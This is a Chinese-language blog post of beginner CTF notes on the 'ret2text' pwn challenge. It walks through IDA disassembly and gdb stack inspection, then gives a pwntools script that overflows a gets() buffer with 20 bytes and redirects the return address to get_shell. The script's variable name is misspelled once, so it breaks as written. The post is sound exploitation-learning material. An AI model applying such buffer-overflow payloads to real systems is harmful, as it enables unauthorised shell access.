ret2text学习笔记 --- PWN入门题目

最近学习了B站上的有关PWN的入门视频课,简单写点笔记,学习一下叭

先上下学习链接,大佬讲的很细致,多听两遍总没坏处。

XMCVE 2020 CTF Pwn入门课程

首先先把 ret2text放在IDA中F5一下,反汇编内容如下

前两行不用管,点击vulnerable看下有什么

有buf数组,很有可能是缓冲区溢出的题目

然后还看到左侧有个get_shell文件

所以,shell一定就在这里面了,我们的目标就是让gets后的buffer溢出,溢出到return部分,将return的地址改为get_shell的地址

先通过gdb动态看下ebp等的地址:

在存放有ret2text的文件中输入

gdb ret2text 
b main  #在main函数处设置断点
run    #运行
n     #一直输入到有vulnerable的位置
然后按 s
之后按 n 回车后输入
AAAAAAAA (八个垃圾数据)
然后输入  stack 24

 

结果如上图,就会发现eax处是存放着我们刚刚输入的buffer中的数据(四字节),我们要将数据填充到ebp的位置,即0xffffd138处,而后还要继续填充到ebp的下一个位置,即往高一个(返回地址)因此再加 4B

而ebp和edx中间的相差 可以通过:

实现,当然这个题比较简单,直接可以是16+4个字节填充。

然后再加上需要执行的get_shell的地址:

即0x8048522

所以核心代码:

payload = b'a'*(16+4) + p32(0x8048522)

具体代码可以写个小脚本:

from pwn import*
io = process('./ret2text')
paylode = b'a'*(16+4) + p32(0x8048522)
io.sendline(payload)
io.interactive()

执行结果如下:

通过ls就发现获得了shell权限

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值